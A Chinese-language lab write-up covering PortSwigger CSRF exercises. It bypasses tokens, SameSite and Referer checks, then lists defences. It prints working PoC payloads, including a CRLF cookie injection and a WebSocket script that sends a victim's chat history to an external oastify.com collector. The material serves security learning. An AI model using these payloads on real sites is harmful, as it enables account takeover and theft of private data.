前端安全之CSRF总结

这篇文章以Portswigger官网的Lab来总结CSRF相关的知识点,CSRF的基础原理这里不再赘述,涉及到的浏览器基础知识主要是和Cookie相关,可以见Cookie安全属性。在做LAB的过程中也学到了很多以前没有注意到的知识点,下面就根据各个LAB来归纳总结。

LAB记录

CSRF Token的设计缺陷

  1. CSRF vulnerability with no defenses:不多说,对重要的表单提交没有任何的防护。

  2. CSRF where token validation depends on request method:使用CSRF Token作为表单的隐藏参数,但是在请求方法是GET的情况下没有进行校验。

  3. CSRF where token validation depends on token being present:使用CSRF Token作为表单的隐藏参数,在CSRF Token参数不提交的情况下不进行校验。

  4. CSRF where token is not tied to user session:使用CSRF Token作为表单的隐藏参数,但CSRF Token没有与用户会话进行绑定。这种情况可能是服务器全局维护一个Token集合,当校验时只要传入的Token在这个集合里就能通过校验,攻击者可以使用自己的Token进行攻击。

利用CRLF注入重置受害者的CSRF Key

这一类攻击手法主要是针对这样的场景,Cookie中单独设置了一个参数作为CSRF Token的Key,服务端根据传入的Key和对应的Token进行校验。同时可以利用CRLF注入设置受害者Cookie的方式来修改受害者的CSRF Key,所以归于一类

  1. CSRF where token is tied to non-session cookie

使用CSRF Token作为表单的隐藏参数,CSRF Token与另一个Cookie参数csrfKey绑定而不与用户会话绑定

1
2
3
4
5
6
7
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

此时如果我们能控制受害者的csrfKey并且能知道对应的token就可以绕过限制。而浏览站点发现首页的搜索功能,会通过设置Cookie的形式将用户最后一次搜索的内容记录下来image-20250225152257889

测试后又发现此处存在CRLF注入,那么我们可以利用这一点来设置用户Cookie的方式来重新设置受害者的csrfKey,然后再使用攻击者的csrf参数构造表单:image-20250225152407074

最终的Payload如下:

1
2
3
4
5
6
7
8
9
10
11
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0acb001104b2ee5bb50a2a7000b100a3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="qadadw&#64;normal&#45;user&#46;net" />
<input type="hidden" name="csrf" value="nmVQti5HUpB1DLpIOJUkfJT2x82MV9m2" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0acb001104b2ee5bb50a2a7000b100a3.web-security-academy.net/?search=1%0d%0aSet-Cookie:+csrfKey=yCm51xchXXILGj9OkYRmgdzHn1LgZj0X;+SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

受害者在点击恶意链接后,首先会通过img标签,触发CRLF注入将自身站点的Cookie参数csrfKey设置成攻击者的,同时包括SameSite=None,这样这个Cookie就会被允许跨站点提交;而由于这不是一个合法图片,之后会触发onerror方法,将第一个表单中的内容进行提交,十分的巧妙。

  1. CSRF where token is duplicated in cookie

在测试中发现,服务器是直接根据当前页面名为csrf的Cookie参数生成包含对应Token的表单页面,即token的内容完全复制cookie中的参数。所以假如能控制受害者Cookie参数,就等于能控制Token,这个LAB中仍然存在CRLF注入问题,所以攻击手法和上个LAB一样。image-20250225154440616

利用_method参数重写http方法绕过

  1. SameSite Lax bypass via method override

在这个LAB中,Cookie设置了Lax属性,POST的方法无法携带Cookie,而导航类的GET方法可以。又因为有些Web框架支持通过_method参数覆写http请求方法,所以可以用一条URL构造非GET方法的HTTP请求,POC如下:

1
2
3
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

当受害者点击链接后,页面将受害者导航至修改邮箱的页面并携带Cookie,同时利用URL参数_method将HTTP请求方法设置成POST,从而完成CSRF攻击

利用客户端重定向绕过

  1. SameSite Strict bypass via client-side redirect

SameSite值为Strict,这里的客户端跳转本质上来讲是一种可以用来重新构造HTTP请求的Gadget。在测试过程中发现,当提交任意评论后,会有一个/post/comment/confirmation?postId=的请求,然后在这个页面停留一会后页面会进行自动跳转。从/resources/js/commentConfirmationRedirect.js内可以看到实现原理,利用postId来动态生成跳转的地址,然后等待3秒后跳转,当然从数据包里也可测试出来。image-20250226103954309

于是思路就是:

  • 构造链接跳转到email修改页面:/post/comment/confirmation?postId=../../../my-account/change-email

  • 利用上一个Lab的技巧构造_method参数提交POST数据包从而进行修改:

    ../../../my-account/change-email?email=JJBB%40normal-user.net&submit=1&_method=POST

image-20250226103851683

所以完整的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a0f00d8034c678882bbfc5100b200d0.web-security-academy.net/post/comment/confirmation">
<input type="hidden" name="postId" value="&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;my&#45;account&#47;change&#45;email&#63;email&#61;JJBB&#37;40normal&#45;user&#46;net&amp;submit&#61;1&amp;&#95;method&#61;POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

表单中的postId其实就是将如下payload进行html编码的结果:

../../../my-account/change-email?email=JJBB%40normal-user.net&submit=1&_method=POST

利用其他子域名的漏洞绕过

  1. SameSite Strict bypass via sibling domain

这个LAB中存在一个WebSocket协议的聊天功能,这个地方使用Cookie进行会话记录,并且观察到在向Server发送READY状态后,服务器会返回当前身份的历史会话

image-20250226122130641

所以可以利用如下的POC进行攻击

1
2
3
4
5
6
7
8
9
10
<script>
var ws = new WebSocket('wss://0a2f00f4038f5e33801c215400c20028.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://ioaji2m8x451wesyk1ek4t1s0j6auaiz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

但Cookie属性为Strict无法跨站提交

image-20250226122402088

但测试中发现资源文件的Access-Control-Allow-Origin头里有个兄弟域名,进去简单测试下发现存在反射性XSS,于是在这个页面构造CSRF POC,让受害者从这个页面提交请求。此时,

  • 业务服务器地址:0a2f00f4038f5e33801c215400c20028.web-security-academy.net
  • 兄弟域名地址:cms-0a2f00f4038f5e33801c215400c20028.web-security-academy.net

而他们虽然不同源,但由于Access-Control-Allow-Origin的存在使得兄弟域名可以跨域发起HTTP请求;而由于他们的根域名一致,所以被浏览器视为SameSite,所以可以携带Cookie提交,从而达到CSRF的目的。image-20250226122548742

以下是最终的POC,即将上一步的WebSocket的POC URL编码后贴到反射型XSS参数处,再使用BurpSuite自带的模块生成CSRF POC即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://cms-0a2f00f4038f5e33801c215400c20028.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="&lt;script&gt;&#10;&#32;&#32;&#32;&#32;var&#32;ws&#32;&#61;&#32;new&#32;WebSocket&#40;&apos;wss&#58;&#47;&#47;0a2f00f4038f5e33801c215400c20028&#46;web&#45;security&#45;academy&#46;net&#47;chat&apos;&#41;&#59;&#10;&#32;&#32;&#32;&#32;ws&#46;onopen&#32;&#61;&#32;function&#40;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;ws&#46;send&#40;&quot;READY&quot;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#59;&#10;&#32;&#32;&#32;&#32;ws&#46;onmessage&#32;&#61;&#32;function&#40;event&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;fetch&#40;&apos;https&#58;&#47;&#47;ioaji2m8x451wesyk1ek4t1s0j6auaiz&#46;oastify&#46;com&apos;&#44;&#32;&#123;method&#58;&#32;&apos;POST&apos;&#44;&#32;mode&#58;&#32;&apos;no&#45;cors&apos;&#44;&#32;body&#58;&#32;event&#46;data&#125;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#59;&#10;&lt;&#47;script&gt;" />
<input type="hidden" name="password" value="w" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

受害者在点击链接后向cms域名发起登录请求,触发反射型XSS;之后在cms域名提交CSRF表单获取聊天记录并利用外带技术发送的DNSLOG服务器。这个LAB攻击的巧妙之处在于利用兄弟域名上的漏洞绕过了Cookie的SameSite=Strict的限制,利用CORS策略绕过了跨域发送HTTP请求的限制。

默认Lax策略在120s的生效期

  1. SameSite Lax bypass via cookie refresh

这个LAB涉及到一个知识点:没有显式的设置SameSite属性,此时浏览器默认按照Lax策略执行,但是为了不影响单点登录,在最开始的120秒内不会生效(如果显式的设置SameSite=Lax则没有这个问题),我在本地测试了下2分钟内,还真可以CSRF。也就是说需要在用户获取Cookie后的120秒内攻击成功或者在攻击前强制刷新用户Cookie

image-20250226125305170

分析OAUTH的登录过程,发现当访问/social-login时,如果已经走过一遍OAUTH的认证流程了,已经存在OAUTH服务器Cookie的情况下,会自动进行第三方登录。所以此时的思路如下:

  • 先让浏览器访问/social-login获取一个新的服务器Cookie

  • 在120秒内提交CSRF表单

1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);

function changeEmail(){
document.forms[0].submit();
}
</script>

但是由于浏览器安全策略,在默认情况下会拦截无交互的弹窗行为

image-20250226140403617

所以只能继续在界面上诱导用户点击了,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<form method="POST" action="https://0ab900040476404284911ee2001a008f.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://0ab900040476404284911ee2001a008f.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}

function changeEmail() {
document.forms[0].submit();
}
</script>

Referer校验的设计缺陷

  1. CSRF where Referer validation depends on header being present

存在Referer校验,但如果去掉Referer则不进行校验image-20250226151252761

可以利用<meta name="referrer" content="no-referrer">来告诉浏览器不携带referrer头,完整POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="no-referrer">
<body>
<form action="https://0a1a009d0318e36a80a33f52006a00a6.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="yyzzxx&#64;normal&#45;user&#46;net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
  1. CSRF with broken Referer validation

存在Referer校验,但只要Referer包含目标域名即可。那么如何修改Referer方法呢,LAB的Solution介绍了history.pushState方法,我查了下文档,这个方法是用于向浏览器的历史会话栈增加条目,他会修改Referer的值这个方法接收3个参数:

  • state:状态对象,这里直接用空字符串
  • unused:由于历史原因,该参数存在且不能忽略;传递一个空字符串是安全的,以防将来对该方法进行更改
  • url:新的历史条目URL。可以是绝对路径或者相对路径,但是必须和当前URL是同源的。

同时由于浏览器的安全策略,在携带Referer头时会自动去掉URL参数,所以需要在利用服务器上配置策略:Referrer-Policy: unsafe-url,告诉浏览器携带Referer时不要去掉URL参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0aa200df03c79b4fc2bd3c4e002300af.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="xadxxa&#64;normal&#45;user&#46;net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/?0aa200df03c79b4fc2bd3c4e002300af.web-security-academy.net');
document.forms[0].submit();
</script>
</body>
</html>

受害者在点击CSRF链接后进行表单提交,Referer头原本是攻击者的服务器,但由于history.pushState方法修改了历史条目,Referer在后缀添加了一个目标服务器的域名作为GET参数,从而绕过了限制。

知识总结

PortSwigger的LAB质量确实高,全刷完学到很多以前不知道的知识点

  1. Cookie在没有显式得设置SameSite的条件下,浏览器默认采用Lax策略,但会在120秒后才生效,如果显式的设置则没有这个问题
  2. 可以利用history.pushState语句在不刷新页面的情况下修改当前URL地址,从而达到修改Referrer的目的
  3. 可以用<meta name="referrer" content="no-referrer">,告诉浏览器不携带Referrer头部
  4. 可以在页面来源的服务端配置Referrer-Policy: unsafe-url,告诉浏览器携带Referrer头部时不去掉URL参数

防御方式

  • CSRF tokens:对于重要表单,引入CSRF Token,该Token需要与当前用户的会话绑定,在提交表单的同时,校验当前Token的合法性。
  • SameSite cookies:设置Cookie的SameSite属性为StrictLax。虽然从LAB上看还是有机会绕过,但本质都是利用其他漏洞组合进行绕过。
  • Referer-based validation:Referer容易被绕过,校验需要严格检查,需要考虑Referer缺失的情况,在获取URL后,利用语言的URL API进行解析判断是否为合法的host

参考